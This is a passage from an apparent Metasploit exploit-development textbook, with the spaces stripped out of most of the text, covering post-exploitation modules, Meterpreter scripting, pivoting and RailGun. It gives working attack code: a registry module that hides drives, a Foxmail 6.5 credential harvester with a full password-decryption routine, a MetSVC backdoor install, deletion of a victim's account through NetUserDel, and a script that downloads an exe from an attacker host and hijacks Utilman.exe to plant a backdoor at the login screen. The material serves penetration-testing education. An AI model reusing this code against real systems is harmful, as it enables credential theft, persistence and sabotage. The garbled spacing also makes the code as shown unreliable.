key1="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\

\Explorer"

exists=meterpreter_registry_key_exist?(key1)

ifnotexists

print_error("KeyDoesn'tExist,CreatingKey!")

registry_createkey(key1)

print_good("HidingDrive")

meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG

_DWORD',REGISTRY_VIEW_NATIVE)

_DWORD',REGISTRY_VIEW_NATIVE)

print_good("RestrictingAccesstotheDrive")

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_

s,'REG_DWORD',REGISTRY_VIEW_NATIVE)

else

print_good("KeyExist,SkippingandCreatingValues")

print_good("HidingDrive")

meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG

_DWORD',REGISTRY_VIEW_NATIVE)

print_good("RestrictingAccesstotheDrive")

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_

s,'REG_DWORD',REGISTRY_VIEW_NATIVE)

end

print_good("Disabled#{datastore['DriveName']}Drive")

end

Wegenerallyrunapostexploitationmoduleusingtherunmethod.Sodefiningrun,wesendtheDriveNamevariabletothedrive_stringmethodtogetthenumericvalueforthedrive.

Wecreatedavariablecalledkey1andstoredthepathoftheregistryinit.Wewillusethemeterpreter_registry_key_existtocheckifthekeyalreadyexistsinthesystemornot.

Ifthekeyexists,thevalueofvariableexistsisassignedtrueelsefalse.Incasethevalueofexistsvariableisfalse,wecreatethekeyusingregistry_createkey(key1)andthenproceedtocreatingthevalues.However,iftheconditionistrue,wesimplycreatethevalues.

Inordertohidedrivesandrestrictaccess,weneedtocreatetworegistryvaluesthatareNoDrivesandNoViewOnDrivewiththevalueofdriveletterindecimalorhexadecimalanditstypeasDWORD.

Wecandothisusingmeterpreter_registry_setvaldata,sinceweareusingthemeterpretershell.Weneedtosupplyfiveparameterstothemeterpreter_registry_setvaldatafunctioninordertoensureitsproperfunctioning.Theseparametersarethekeypathasastring,nameoftheregistryvalueasastring,decimalvalueofthedriveletterasastring,typeofregistryvalueasastringandtheviewasanintegervalue,whichwouldbe0fornative,1for32-bitviewand2for64-bitview.

Anexampleofmeterpreter_registry_setvaldatacanbebrokendownas

follows:

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_

s,'REG_DWORD',REGISTRY_VIEW_NATIVE)

Intheprecedingcode,wesetthepathaskey1,valueasNoViewOnDrives,4asdecimalfordriveD,REG_DWORDasthetypeofregistryandREGISTRY_VIEW_NATIVEwhichsupplies0.

Tip

For32-bitregistryaccessweneedtoprovide1astheviewparameterandfor64-bitweneedtosupply2.However,thiscanbedoneusingREGISTRY_VIEW_32_BITandREGISTRY_VIEW_64_BITrespectively.

YoumightbewonderinghowweknewthatforthedriveDwehavethevalueofbitmaskas4?Let'sseehowbitmaskcanbecalculatedinthefollowingsection.

Tocalculatethebitmaskforaparticulardrive,wehavetheformula,2^([drivecharacterserialnumber]-1).Suppose,weneedtodisabledriveC,weknowthatcharacterCisthethirdcharacterinthealphabet.Therefore,wecancalculatetheexactbitmaskvaluefordisablingthedriveCdriveasfollows:

2^(3-1)=2^2=4

Thebitmaskvalueis4fordisablingCdrive.However,intheprecedingmodule,wehardcodedafewvaluesinthedrive_stringmethodusingcaseswitch.Let'sseehowwedidthat:

defdrive_string(drive)

casedrive

when"A"

return1

when"B"

return2

when"C"

return4

when"D"

return8

when"E"

return16

end

end

end

Wecanseethattheprecedingmethodtakesadriveletterasanargumentandreturnitscorrespondingnumeraltothecallingfunction.FordriveD,itwillreturn8.Let'srunthismoduleandseewhatoutputweget:

So,let'sseewhetherwehavesuccessfullydisabledD:ornot:

Bingo!Wecan'tseetheDdriveanymore.Hence,wesuccessfullydisableddriveDfromtheuser'sviewandrestrictedtheaccesstothesame.

Wecancreateasmanypost-exploitationmodulesaswewantaccordingtoourneeds.IrecommendyouputsomeextratimetowardthelibrariesofMetasploit.

MakesureyouhaveSYSTEMlevelaccessfortheprecedingscripttowork,asSYSTEMprivilegeswillnotcreatetheregistryundercurrentuserbutwillcreateitunderlocalmachine.Inadditiontothis,wehaveusedHKLMinsteadofwritingHKEY_LOCAL_MACHINE,becauseoftheinbuiltnormalizationthatwillautomaticallycreatethefullformofthekey.Irecommendthatyouchecktheregistry.rbfiletoseethevariousavailablemethods.

Tip

ForWindows7,ifyoudon'thavesystemprivilegestryusingtheexploit/windows/local/bypassuacmoduleandswitchtotheescalatedshellandthentrytheprecedingmodule.

Writingacredentialharvesterpostexploitationmodule

Inthisexamplemodule,wewillattackFoxmail6.5.Wewilltrydecryptingthecredentialsandwillstoreittothedatabase.Let'sseethecode:

require'msf/core'

classMetasploit3<Msf::Post

includeMsf::Post::Windows::Registry

includeMsf::Post::File

includeMsf::Auxiliary::Report

includeMsf::Post::Windows::UserProfiles

definitialize(info={})

super(update_info(info,

'Name'=>'FoxMail6.5CredentialHarvester',

'Description'=>%q{

ThisModuleFindsandDecryptsStoredFoxmail6.5Credentials

},

'License'=>MSF_LICENSE,

'Author'=>['NipunJaswal'],

'Platform'=>['win'],

'SessionTypes'=>['meterpreter']

))

end

Quitesimpleaswesawinthepreviousmodules,westartbyincludingalltherequiredlibrariesandprovidingthebasicinfoaboutthemodule.

WehavealreadyseentheusageofMsf::Post::Windows::RegistryandMsf::Auxiliary::Report.Let'sseethedetailsofthenewlibrariesweincludedinthismoduleasfollows:

IncludeStatement Path Usage

Msf::Post::Windows::UserProfiles lib/msf/core/post/windows/user_profiles.rb

ThelibrarywillprovidealltheprofilesonaWindowssystemwhichincludesfindingimportant

importantdirectoriesandpathsetc.

Msf::Post::File lib/msf/core/post/file.rb

Thislibrarywillprovidefunctionswhichwillaidfileoperationssuchasreadingafile,checkingadirectory,listingdirectories,writingtoafileetc.

Beforeunderstandingthenextpartofthemodule,let'sseewhatweneedtoperforminordertoharvestthecredentials:

1. Wewillsearchfortheuserprofilesandwillfindtheexactpathforthecurrentuser'sLocalAppDatadirectory

2. Wewillusethepathfoundaboveandwillconcatenateitwith\VirtualStore\ProgramFiles(x86)\Tencent\Foxmail\mailtoestablishacompletepathtothemaildirectory

3. Wewilllistallthedirectoriesfromthemaildirectoryandwillstoretheminanarray.However,thedirectorynamesinthemaildirectorywillusethenamingconventionoftheusernameforvariousmailproviders.Forexample:nipunjaswal@rocketmail.comwouldbeoneofthedirectoriespresentinthemaildirectory

4. Next,wewillfindAccount.stgfileintheaccountsdirectoriesfoundunderthemaildirectory

5. WewillreadtheAccount.stgfileandwillfindthehashvalueforconstantnamedPOP3Password

6. Wewillpassthehashvaluetoourdecryptionmethod,whichwillfindthepasswordinplaintext

7. Wewillstorethevalueinthedatabase

Quitesimplehuh!Let'sanalyzethecode:

defrun

profile=grab_user_profiles()

profile=grab_user_profiles()

counter=0

data_entry=""

profile.eachdo|user|

ifuser['LocalAppData']

full_path=user['LocalAppData']

full_path=full_path+"\\VirtualStore\\ProgramFiles

(x86)\\Tencent\\Foxmail\\mail"

ifdirectory?(full_path)

print_good("FoxMailInstalled,EnumeratingMailAccounts")

session.fs.dir.foreach(full_path)do|dir_list|

ifdir_list=~/@/

counter=counter+1

full_path_mail=full_path+""+dir_list+""+"Account.stg"

iffile?(full_path_mail)

print_good("ReadingMailAccount#{counter}")

file_content=read_file(full_path_mail).split("\n")

Beforestartingtounderstandtheprecedingcode,let'sseewhatimportantfunctionsareusedintheabovecodeforabetterapproachtowardsthecode:

Functions LibraryFile Usage

grab_user_profiles() lib/msf/core/post/windows/user_profiles.rb

Graballpathsforimportantdirectoriesonawindowsplatform

directory? lib/msf/core/post/file.rbCheckifadirectoryexistsornot

file? lib/msf/core/post/file.rb Checkifafileexistsornot

read_file lib/msf/core/post/file.rb Readthecontentsofafile

store_loot /lib/msf/core/auxiliary/report.rb

Storestheharvestedinformationintoafileanddatabase

Wecanseeintheprecedingcodethatwegrabbedtheprofilesusinggrab_user_profiles()andforeachprofilewetriedfindingtheLocalAppDatadirectory.Assoonaswefoundit,westoreditinavariablecalledfull_path.

Next,weconcatenatedthepathtothemailfolderwherealltheaccountsarelistedasdirectories.Wecheckedthepathexistenceusingdirectory?;and,onsuccess,wecopiedallthedirectorynamesthatcontained@inthenametothedir_listusingregexmatch.Next,wecreatedanothervariablefull_path_mailandstoredtheexactpathtotheAccount.stgfileforeachemail.WemadesurethattheAccount.stgfileexistedbyusingfile?Onsuccess,wereadthefileandsplitallthecontentsatnewline.Westoredthesplitcontentintofile_contentlist.Let'sseethenextpartofthecode:

file_content.eachdo|hash|

ifhash=~/POP3Password/

hash_data=hash.split("=")

hash_value=hash_data[1]

ifhash_value.nil?

print_error("NoSavedPassword")

else

print_good("DecryptingPasswordformailaccount:#{dir_list}")

decrypted_pass=decrypt(hash_value,dir_list)

data_entry<<"Username:"+dir_list+"\t"+"Password:"+

decrypted_pass+"\n"

end

end

end

end

end

end

end

end

end

store_loot("Foxmail

Accounts","text/plain",session,data_entry,"Fox.txt","FoxMail

Accounts")

end

Foreachentryinthefile_content,weranachecktofindtheconstantPOP3Password.Oncefound,wesplittheconstantat=andstoredthevalueoftheconstantinavariablehash_value.

Next,wesimplypassedthehash_valueanddir_list(accountname)tothedecryptfunction.Aftersuccessfuldecryption,theplainpasswordgetsstoredtothedecrypted_passvariable.Wecreateanothervariablecalleddata_entryandappendallthecredentialstoit.Wedothisbecausewedon'tknowhowmanymailaccountsmightbeconfiguredonthetarget.Therefore,foreachresultthe

credentialsgetappendedtodata_entry.Afteralltheoperationsarecomplete,westorethedata_entryvariableinthedatabaseusingstore_lootmethod.Wesupplysixargumentstothestore_lootmethod,whicharenamedfortheharvest,itscontenttype,session,data_entry,thenameofthefile,andthedescriptionoftheharvest.

Let'sunderstandthedecryptionfunctionasfollows:

defdecrypt(hash_real,dir_list)

decoded=""

magic=Array[126,100,114,97,71,111,110,126]

fc0=90

size=(hash_real.length)/2-1

index=0

b=Array.new(size)

foriin0..sizedo

b[i]=(hash_real[index,2]).hex

index=index+2

end

b[0]=b[0]^fc0

double_magic=magic+magic

d=Array.new(b.length-1)

foriin1..b.length-1do

d[i-1]=b[i]^double_magic[i-1]

end

e=Array.new(d.length)

foriin0..d.length-1

if(d[i]-b[i]<0)

e[i]=d[i]+255-b[i]

else

e[i]=d[i]-b[i]

end

decoded<<e[i].chr

end

print_good("FoundUsername#{dir_list}withPassword:#

{decoded}")

returndecoded

end

end

Intheprecedingmethodwereceivedtwoarguments,whicharethehashedpasswordandusername.Thevariablemagicisthedecryptionkeystoredinanarraycontainingdecimalvaluesforthestring~draGon~oneaftertheother.We

storetheinteger90asfc0,aboutwhichwewilltalkabitlater.

Next,wefindthesizeofthehashbydividingitby2andsubtracting1fromit.Thiswillbethesizeforournewarrayb.

Inthenextstep,wesplitthehashintobytes(twocharacterseach)andstorethesameintoarrayb.WeperformXORonthefirstbyteofarrayb,withfc0intothefirstbyteofbitself.Thus,updatingthevalueofb[0]byperformingXORoperationonitwith90.ThisisfixedforFoxmail6.5.

Now,wecopythearraymagictwiceintoanewarraydouble_magic.Wealsodeclarethesizeofdouble_magiconelessthanthatofarrayb.WeperformXORonalltheelementsofarraybandarraydouble_magic,exceptthefirstelementofbonwhichwealreadyperformedaXORoperation.

WestoretheresultoftheXORoperationinarrayd.Wesubtractcompletearraydfromarraybinthenextinstruction.However,ifthevalueislessthan0foraparticularsubtractionoperation,weadd255totheelementofarrayd.

Inthenextstep,wesimplyappendtheASCIIvalueoftheparticularelementfromtheresultantarrayeintothevariabledecodedandreturnittothecallingstatement.

Let'sseewhathappenswhenwerunthismodule:

ItisclearthatweeasilydecryptedthecredentialsstoredintheFoxmail6.5

BreakthroughmeterpreterscriptingThemeterpretershellisthemostdesiredtypeofaccessanattackerwillliketohaveonthetarget.Meterpretergivestheattackeralargesetoftoolstoperformavarietyoftasksonthecompromisedsystem.Meterpreterhasmanybuilt-inscripts,whichmakesiteasierforanattackertoattackthesystem.Thesescriptsperformsimpleandtedioustasksonthecompromisedsystem.Inthissection,wewilllookatthosescripts,whattheyaremadeof,andhowwecanleveragetheminmeterpreter.

Tip

Thebasicmeterpretercommandscheatsheetisavailableathttp://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20Meterpreter%20Cheat%20%20Sheet.pdf

Essentialsofmeterpreterscripting

Asfaraswehaveseen,wehaveusedmeterpreterinsituationswhereweneededtoperformsomeadditionaltasksonthesystem.However,nowwewilllookatsomeoftheadvancedsituationsthatmayariseduringapenetrationtest,wherethescriptsalreadypresentinmeterpreterseemtobeofnohelptous.Mostlikely,inthiskindofsituation,wewillwanttoaddourcustomfunctionalitiestometerpreterandperformtherequiredtasks.However,beforeweproceedtoaddcustomscriptsinmeterpreter,let'sperformsomeoftheadvancedfeaturesofmeterpreterfirstandunderstanditspower.

Pivotingthetargetnetwork

Pivotingreferstoaccessingasystemfromtheattacker'ssystemthroughanothercompromisedsystem.WehavealreadyseeninthefirstchapterhowwecanpivottotheinternalnetworkusingthecompromisedInternet-facingsystem.Let'sconsiderascenariowheretherestrictedwebserverisinthescopeofthepenetrationtestbutonlyavailabletoAlice'ssystem.Inthiscase,wewillneedtocompromiseAlice'ssystemfirstandthenuseittoconnecttotherestrictedwebserver.ThismeansthatwewillpivotallourrequeststhroughAlice'ssystemtomakeaconnectiontotherestrictedwebserver.Thefollowingdiagramwillmakethingsclear:

Consideringtheprecedingdiagram,wehavethreesystems.WehaveMallory(Attacker),Alice'ssystem,andtherestrictedCharlie'swebserver.Therestrictedwebservercontainsadirectorynamedrestrict,butitisonly

accessibletoAlice'ssystem,whichhastheIPaddress192.168.75.130.However,whentheattackertriestomakeaconnectiontotherestrictedwebserver,thefollowingerrorgenerates:

WeknowthatAlice,beinganauthoritativeperson,willhaveaccesstothewebserver.Therefore,weneedtohavesomemechanismthatcanpassourrequesttoaccessthewebserverthroughAlice'ssystem.Thisrequiredmechanismispivoting.

Therefore,thefirststepistobreakintoAlice'ssystemandgainthemeterpretershellaccesstothesystem.Next,weneedtoaddaroutetothewebserverexactlythewaywedidinthepreviouschapter.ThiswillallowourrequeststoreachtherestrictedwebserverthroughAlice'ssystem.Letusseehowwecandothat:

RunningtheautoroutescriptwiththeparameterastheIPaddressoftherestrictedserverusingthe-sswitchwilladdaroutetoCharlie'srestrictedserverfromAlice'scompromisedsystem.

Next,weneedtosetupaproxyserverthatwillpassourrequeststhroughthemeterpretersessiontothewebserver.

BeingMallory,wewillneedanauxiliarymoduleforpassingourrequestpacketsviameterpreteronAlice'ssystemtothetargetCharlie'sserverusingauxiliary/server/socks4a.Letusseehowwecandothat:

Inordertolaunchthesocksserver,wesetSRVHOSTto127.0.0.1andSRVPORTto1080andrunthemodule.

Next,weneedtoreconfigurethesettingsintheetc/proxychains.conffilebyaddingtheauxiliaryserver'saddresstoit,i.e.127.0.0.1onport1080,asshowninthefollowingscreenshot:

Wearenowallsettousetheproxyinanytoolorbrowser,forexample,Firefox,Chrome,Nmap,rdesktopandsoon.Let'sconfiguretheproxysettingsinthebrowserasfollows:

Let'sopentherestricteddirectoryofthetargetwebserveragain:

Success!Wehaveaccessedtherestrictedareawithease.WehaveanIPloggerscriptrunningatthetargetwebserverinthedirectorynamedrestrict.Let'sseewhatitreturns:

Successagain!WearebrowsingthewebserverwiththeIPofourcompromisedsystem,whichisAlice'ssystem.WhateverwebrowsegoesthroughthecompromisedsystemandthetargetwebserverthinksthatitisAlicewhoisaccessingthesystem.However,ouractualIPaddressis192.168.75.10.

Aquickrevisionofwhatwediscussed:

We'vestartedbycompromisingAlice'ssystemWe'veaddedaMetasploitroutetoCharlie'srestrictedwebserverfromAlice'ssystemthroughameterpretersessionrunningonAlice'ssystemWe'vesetupasocksproxyservertoautomaticallyforwardallthetrafficthroughthemeterpretersessiontoAlice'ssystemWe'vereconfiguredtheproxychainsfilewiththeaddressofoursocks

serverWe'veconfiguredourbrowsertouseasocksproxywiththeaddressofoursocksserver

Tip

Refertohttp://www.digininja.org/blog/nessus_over_sock4a_over_msf.phpformoreinformationonusingNessusscansoverameterpretershellthroughsockstoperforminternalscanningofthetarget'snetwork.

Settinguppersistentaccess

Aftergainingaccesstothetargetsystem,itismandatorytoretainthehard-earnedaccess.However,forsanctionedpenetrationtest,itshouldbemandatoryonlyuntilthedurationofthetestandwithinthescope.Meterpreterpermitsustoinstallbackdoorsonthetargetusingtwodifferentapproaches:MetSVCandpersistence.

Persistenceisnotnewtous,aswediscusseditinthepreviouschapterwhilemaintainingaccesstothetargetsystem.Let'sseehowMetSVCworks.

TheMetSVCserviceisinstalledinthecompromisedsystemasaservice.Moreover,itopensaportpermanentlyfortheattackertoconnectwheneverheorshewants.

InstallingMetSVCatthetargetiseasy.Let'sseehowwecandothis:

WecanclearlyseethattheMetSVCservicecreatesaserviceatport31337anduploadsthemaliciousfilesaswell.

Later,wheneveraccessisrequiredtothisservice,weneedtousethemetsvc_bind_tcppayloadwithanexploithandlerscript,whichwillallowustoconnecttotheserviceagainasshowninthefollowingscreenshot:

TheeffectofMetSVCremainsevenafterarebootofthetargetmachine.Thisishandywhenweneedpermanentaccesstothetargetsystem,asitalsosavestimethatisneededforre-exploitation.

APIcallsandmixins

Wejustsawhowwecouldperformadvancedtaskswithmeterpreter.Thisindeedmakesthelifeofapenetrationtestereasier.

Now,let'sdigdeepintotheworkingofmeterpreteranduncoverthebasicbuildingprocessofmeterpreter'smodulesandscripts.Thisisbecausesometimesitmighthappenthatmeterpreteraloneisnotgoodenoughtoperformalltherequiredtasks.Inthatcase,weneedtobuildourcustommeterpretermodulesandcanperformorautomatevarioustasksrequiredatthetimeofexploitation.

Let'sfirstunderstandthebasicsofmeterpreterscripting.ThebaseforcodingwithmeterpreteristheApplicationProgrammingInterface(API)callsandmixins.ThesearerequiredtoperformspecifictasksusingaspecificWindows-basedDynamicLinkLibrary(DLL)andsomecommontasksusingavarietyofbuilt-inRuby-basedmodules.

MixinsareRuby-programming-basedclassesthatcontainmethodsfromvariousotherclasses.Mixinsareextremelyhelpfulwhenweperformavarietyoftasksatthetargetsystem.Inadditiontothis,mixinsarenotexactlypartofIRB,buttheycanbeveryhelpfultowritespecificandadvancedmeterpreterscriptswithease.

Tip

Formoreinformationonmixins,refertohttp://www.offensive-security.com/metasploit-unleashed/Mixins_and_Plugins.

Irecommendthatyouallhavealookatthe/lib/rex/post/meterpreterand/lib/msf/scripts/meterpreterdirectoriestocheckoutvariouslibrariesusedbymeterpreter.

APIcallsareWindows-specificcallsusedtocalloutspecificfunctionsfromaWindowsDLLfile.WewilllearnaboutAPIcallsshortlyintheWorkingwithRailGunsection.

Fabricatingcustommeterpreterscripts

Let'sworkoutasimpleexamplemeterpreterscript,whichwillcheckwhetherweareanadminuserandthenfindtheexplorerprocessandmigratesintoitautomatically.

Beforelookingintothecode,let'sseetheimportantfunctionusedhere:

Functions LibraryFile

is_admin /lib/msf/core/post/windows/priv.rb

session.sys.process.get_processes() /lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb

session.core.migrate() /lib/rex/post/meterpreter/client_core.rb

Let'slookatthefollowingcode:

admin_check=is_admin?

if(admin_check)

print_good("CurrentUserIsAdmin")

else

print_error("CurrentUserisNotAdmin")

end

session.sys.process.get_processes().eachdo|x|

ifx['name'].downcase=="explorer.exe"

ifx['name'].downcase=="explorer.exe"

print_good("Explorer.exeProcessisRunningwithPID#{x['pid']}")

explorer_ppid=x['pid'].to_i

print_good("MigratingtoExplorer.exeatPID#

{explorer_ppid.to_s}")

session.core.migrate(explorer_ppid)

end

end

Thescriptstartsbycallingtheis_adminmethodandstoresthebooleanresultinavariablenameadmin_check.BasedontheBooleanvaluestoredintheadmin_checkvariable,itprintsthemessagefromtheif-elsecondition.

Next,wesearchthelistofallprocessesusingget_processesandmatchtheexplorer.exeprocessandassignitsprocessIDtothevariableexplorer_ppid.Inthenextlineofcode,wesimplymigratetotheprocessIDofexplorer.exebyusingsession.core.migrate.

Thisisoneofthesimplestscripts.However,aquestionthatariseshereisthat/lib/msf/scripts/meterpretercontainsonlyfivefileswithnofunctiondefinedinthem,sofromwheredidthemeterpreterexecutethesefunctions?Wecanseethesefivefilesinthefollowingscreenshot:

Whenweopenthesefivefiles,wewillfindthatthesescriptshaveincludedallthenecessarylibraryfilesfromavarietyofsourceswithintheMetasploit.Therefore,wedonotneedtoadditionallyincludelibrariesforthesefunctions.

Let'ssavethiscodeinthe/scripts/meterpreter/mymet.rbdirectoryandlaunchthisscriptfromthemeterpreter.Thiswillgiveyouanoutputsimilartothefollowingscreenshot:

Wecanclearlyseehoweasyitwastocreatemeterpreterscriptsandperformavarietyoftasksandtaskautomationsaswell.Irecommendyouexaminealltheincludedfilesandpathsusedinthemoduleforexploringmeterpreterextensively.

Note

AccordingtotheofficialwikiofMetasploit,youshouldnolongerwritemeterpreterscriptsandinsteadwritepostexploitationmodules.

WorkingwithRailGunRailGunsoundslikeagunsetonrails;however,thisisnotthecase.Itismuchmorepowerfulthanthat.RailGunallowsyoutomakecallstoaWindowsAPIwithouttheneedtocompileyourownDLL.

ItsupportsnumerousWindowsDLLfilesandeasesthewayforustoperformsystem-leveltasksonthevictimmachine.Let'sseehowwecanperformvarioustasksusingRailGunandconductsomeadvancedpost-exploitationwithit.

InteractiveRubyshellbasics

RailGunrequirestheirbshelltobeloadedintometerpreter.Let'slookathowwecanjumptotheirbshellfrommeterpreter:

WecanseeintheprecedingscreenshotthatsimplytypinginirbfrommeterpreterdropsusintotheRuby-interactiveshell.WecanperformavarietyoftaskswiththeRubyshellfromhere.

UnderstandingRailGunanditsscripting

RailGungivesusimmensepowertoperformtasksthatMetasploitmaynotperform.WecanraiseexceptionstoanyDLLfilefromthebreachedsystemandcreatesomemoreadvancedpost-exploitationmechanisms.

Now,let'sseehowwecancallafunctionusingbasicAPIcallswithRailGunandunderstandhowitworks:

client.railgun.DLLname.function(parameters)

ThisisthebasicstructureofanAPIcallinRailGun.Theclient.railgunkeyworddefinesthatweneedthefunctionalityofRailGunfortheclient.TheDLLnamekeywordspecifiesthenameoftheDLLfileformakingacall.Thefunction(parameters)keywordinthesyntaxspecifiestheactualAPIfunctionthatistobeprovokedwithrequiredparametersfromtheDLLfile.

Let'sseeanexample:

TheresultofthisAPIcallisasfollows:

Here,acallismadetotheLockWorkStation()functionfromtheuser32.dllDLLfilethatresultsinthelockingofthecompromisedsystem.

Next,let'sseeanAPIcallwithparameters:

client.railgun.netapi32.NetUserDel(arg1,agr2)

Whentheprecedingcommandruns,itdeletesaparticularuserfromtheclient'smachine.Currentlywehavethefollowingusers:

Let'strydeletingtheNipunusername:

Let'scheckwhethertheuserhasbeensuccessfullyremovedornot:

Theuserseemstohavegonefishing.RailGunisreallyanawesometool,andithasremovedtheuserNipunsuccessfully.Beforeproceedingfurther,let'sgettoknowwhatnilintheparametersis.Thenilvaluedefinesthattheuserisonthelocalmachine.However,wecanalsotargetremotesystemsusingavalueforthenameparameter.

ManipulatingWindowsAPIcalls

DLLfilesareresponsibleforcarryingoutthemajorityoftasks.Therefore,itisimportanttounderstandwhichDLLfilecontainswhichmethodSimplealertboxescanbegeneratedbycallingtheappropriatemethodfromthecorrectDLLfileaswell.ItisverysimilartothelibraryfilesofMetasploit,whichhavevariousmethodsinthem.TostudyWindowsAPIcalls,wehavegoodresourcesathttp://source.winehq.org/WineAPI/andhttp://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx.IrecommendyoustudyavarietyofAPIcallsbeforeproceedingfurtherwithcreatingRailGunscripts.

Tip

RefertothefollowingpathtofindoutmoreaboutRailGunsupportedDLLfiles:/usr/share/metasploit-

framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def

FabricatingsophisticatedRailGunscripts

Takingastepfurther,let'sdelvedeeperintowritingscriptsusingRailGunformeterpreterextensions.Let'sfirstcreateascriptwhichwilladdacustom-namedDLLfiletotheMetasploitcontext:

ifclient.railgun.get_dll('urlmon')==nil

print_status("AddingFunction")

end

client.railgun.add_dll('urlmon','C:\\WINDOWS\\system32\\urlmon.dll'

)

client.railgun.add_function('urlmon','URLDownloadToFileA','DWORD',[

["DWORD","pcaller","in"],

["PCHAR","szURL","in"],

["PCHAR","szFileName","in"],

["DWORD","Reserved","in"],

["DWORD","lpfnCB","in"],

])

Savethecodeunderafilenamedurlmon.rbunderthe/scripts/meterpreterdirectory.

TheprecedingscriptaddsareferencepathtotheC:\\WINDOWS\\system32\\urlmon.dllfilethatcontainsalltherequiredfunctionsforbrowsingaURLandotherfunctionssuchasdownloadingaparticularfile.Wesavethisreferencepathunderthenameurlmon.Next,weaddacustomfunctiontotheDLLfileusingtheDLLfile'snameasthefirstparameterandthenameofthefunctionwearegoingtocreateasthesecondparameter,whichisURLDownloadToFileAfollowedbytherequiredparameters.TheveryfirstlineofthecodecheckswhethertheDLLfunctionisalreadypresentintheDLLfileornot.Ifitisalreadypresent,thescriptwillskipaddingthefunctionagain.ThepcallerparameterissettoNULLifthecallingapplicationisnotanActiveXcomponent;ifitis,itissettotheCOMobject.TheszURLparameterspecifiestheURLtodownload.TheszFileNameparameterspecifiesthefilenameofthedownloadedobjectfromtheURL.ReservedisalwayssettoNULL,andlpfnCBhandlesthestatusofthedownload.However,ifthestatusisnotrequired,thisvalueshouldbesettoNULL.

Let'snowcreateanotherscriptwhichwillmakeuseofthisfunction.Wewillcreateapost-exploitationscriptthatwilldownloadafreewarefilemanagerandwillmodifytheentryforutilitymanagerontheWindowsoperatingsystem.

willmodifytheentryforutilitymanagerontheWindowsoperatingsystem.Therefore,wheneveracallismadetoutilitymanager,ourfreewareprogramwillruninstead.

Wecreateanotherscriptinthesamedirectoryandnameitrailgun_demo.rbasfollows:

client.railgun.urlmon.URLDownloadToFileA(0,"http://192.168.1.10

/A43.exe","C:\\Windows\\System32\\a43.exe",0,0)

key="HKLM\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Image

FileExecutionOptions\\Utilman.exe"

syskey=registry_createkey(key)

registry_setvaldata(key,'Debugger','a43.exe','REG_SZ')

Asstatedpreviously,thefirstlineofthescriptwillcallthecustom-addedDLLfunctionURLDownloadToFilefromtheurlmonDLLfilewiththerequiredparameters.

Next,wecreateakeyUtilman.exeundertheparentkeyHKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\.

WecreatearegistryvalueoftypeREG_SZnamedDebuggerundertheutilman.exekey.Lastly,weassignthevaluea43.exetotheDebugger.

Let'srunthisscriptfromthemeterpretertoseehowthingsactuallywork:

Assoonasweruntherailgun_demoscript,thefilemanagerisdownloadedusingtheurlmon.dllfileandisplacedinthesystem32directory.Next,registrykeysarecreatedwhichreplacethedefaultbehavioroftheutilitymanagertoruna43.exefile.Therefore,whenevertheeaseofaccessbuttonispressedfromtheloginscreen,insteadoftheutilitymanager,a43filemanagershowsupand

servesasaloginscreenbackdooronthetargetsystem.

Let'sseewhathappenswhenwepresstheeaseofaccessbuttonfromtheloginscreeninthefollowingscreenshot:

Wecanseethatitopensa43filemanagerinsteadoftheutilitymanager.Wecannowperformvarietyoffunctionsincludingmodifyingregistry,interactingwithCMDandmuchmorewithoutloggingintothetarget.YoucanclearlyseethepowerofRailGun,whicheasestheprocessofcreatingapathtowhicheverDLLfileyouwantandallowsyoutoaddcustomfunctionstoitaswell.

Tip

MoreinformationonthisDLLfunctionisavailableathttp://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx

SummaryInthischapter,wecoveredcodingforMetasploit.Weworkedonmodules,post-exploitationscripts,meterpreter,RailGun,andRubyprogrammingtoo.Throughoutthischapter,wesawhowwecanaddourcustomfunctionstotheMetasploitframeworkandmakethealreadypowerfulframeworkmuchmorepowerful.WebeganwithfamiliarizingourselveswiththebasicsofRuby.Welearnedaboutwritingauxiliarymodules,post-exploitationscripts,andmeterpreterextensions.WesawhowwecouldmakeuseofRailGuntoaddcustomfunctionssuchasaddingaDLLfileandacustomfunctiontothetarget'sDLLfiles.

Inthenextchapter,wewilllookatthedevelopmentincontexttoexploitthemodulesinMetasploit.Thisiswherewewillbegintowritecustomexploits,fuzzvariousparametersforexploitation,exploitsoftwareandwriteadvancedexploitsforsoftwareandtheWeb.

Chapter3.TheExploitFormulationProcess"Ifdebuggingistheprocessofremovingbugs,thenprogrammingmustbetheprocessofputtingthemin"-EdsgerW.Dijkstra

ExploitformulationisallabouthowexploitsaremadeinMetasploitandwhattheyareactuallymadeof.Inthischapter,wewillcovervariousexamplevulnerabilitiesandwewilltrytodevelopapproachesandmethodstoexploitthesevulnerabilities.Inadditiontothat,ourprimaryfocuswillbeonbuildingexploitmodulesforMetasploit.WewillalsocoverawidevarietyoftoolsthatwillaidwritingexploitsinMetasploit.Animportantaspectofexploitwritingisthecomputerarchitecture.Ifwedonotcoverthebasicsofthearchitecture,wewillnotbeabletounderstandhowthingsactuallywork.Therefore,Let'sfirststartadiscussionaboutthesystemarchitectureandtheessentialsrequiredtowriteexploits.

Bytheendofthischapter,wewillknowmoreaboutthefollowingtopics:

ThestagesofexploitdevelopmentTheparameterstobeconsideredwhilewritingexploitsHowvariousregistersworkHowtofuzzsoftwareHowtowriteexploitsintheMetasploitframeworkBypassingprotectionmechanismsusingMetasploit

TheabsolutebasicsofexploitationInthissection,wewilllookatthemostimportantcomponentsrequiredinexploitation.Wewilldiscussawidevarietyofregisterssupportedindifferentarchitectures.WewillalsodiscussExtendedInstructionPointer(EIP)andExtendedStackPointer(ESP)andtheirimportanceinwritingexploits.WewillalsolookatNoOperation(NOP)andJump(JMP)instructionsandtheirimportanceinwritingexploitsforvarioussoftware.

Thebasics

Let'scoverthebasicsthatarenecessarywhenlearningaboutexploitwriting.

Thefollowingtermsarebaseduponthehardware,software,andsecurityperspectivesinexploitdevelopment:

